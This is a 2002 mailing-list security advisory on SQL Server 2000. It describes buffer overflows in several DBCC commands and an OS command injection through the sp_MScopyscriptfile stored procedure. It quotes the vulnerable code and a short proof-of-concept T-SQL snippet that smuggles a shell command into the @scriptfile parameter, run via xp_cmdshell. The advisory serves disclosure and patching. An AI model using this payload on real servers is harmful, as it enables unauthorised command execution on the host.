mailing list archives
SQL Server 2000 Buffer Overflows and SQL Inyection vulnerabilities.
From: full-disclosure () lists netsys com (c c)
Date: Thu, 25 Jul 2002 16:44:08 -0700 (PDT)
Name: SQL Server 2000 Buffer Overflows and SQL
System Affected : Sql Server 2000 all Service
Severity : High.
Author: Cesar Cerrudo.
Advisory Number: CC070205
Database Consistency Checkers (DBCCs) are command
console utilities that allow maintenance and other
operations to be performed on a SQL Server, some of
the DBCC functions are vulnerable to buffer overflows.
The explotation of these vulnerabilities could enable
an attacker to run code in the context of the SQL
Some stored procedures used in database replication
are vulnerable to SQL injection. The explotation of
these vulnerabilities could enable an attacker to run
OS commands with xp_cmdshell in the context of the SQL
Server Agent Proxy account.
The following DBCC funcions contain unchecked buffers:
DBCC ADDEXTENDEDPROC ('xp_storedproc','XXX...') (a)
DBCC INDEXFRAG ('','XXX...') (b)
DBCC UPDATEUSAGE ('','XXX...') (c)
DBCC CHECKCONSTRAINTS ('XXX...') (c)
DBCC SHOWCONTIG ('XXX...') (d)
DBCC CLEANTABLE ('','XXX...') (d)
(a) Only members of sysadmin fixed server role can run
(b) Only members of sysadmin fixed server role,
db_owner or db_ddladmin fixed database role can run
(c) Only members of sysadmin fixed server role or
db_owner fixed database role can run this command.
(d) All users can run this command.
The buffer overflow in DBCC ADDEXTENDEDPROC affects
SQL Server 7.0 too.
Sp_MScopyscriptfile stored procedure is one of several
stored procedures (not mentioned here for time
reasons) vulnerables to SQL Inyection.
Sp_MScopyscriptfile create a directory in the SQL
Server replication directory and then copy a script
file into it. It has one input parameter @scriptfile
that is the name of the script file to be copied. In
that parameter OS commands can be inyected and then
executed by xp_cmdshell.
---Code snip of sp_MScopyscriptfile stored procedure
where the inyection ocurrs---
select @cmd = N'copy "' + @scriptfile + N'" "' +
@directory + N'"'
exec @retcode = master..xp_cmdshell @cmd, NO_OUTPUT
----End code snip-----
SQL Server Agent Proxy account must be enabled to
succesfull exploit these SQL Inyection vulnerabilities
and is not enabled by default.
declare @command varchar(100)
declare @scripfile varchar(200)
set concat_null_yields_null off
select @command='dir c:\ >
select @scripfile='c:\autoexec.bat > nul" | ' +
@command + ' | rd "'
exec sp_MScopyscriptfile @scripfile ,''
Vendor Status :
Microsoft was contacted, we work together and
Microsoft release a fix.
Patch Available :
Special thanks to Aaron Newman (Application Security,
Inc.) for his
collaboration in testing.
Do You Yahoo!?
Yahoo! Health - Feel better, live better
- SQL Server 2000 Buffer Overflows and SQL Inyection vulnerabilities. c c (Jul 25)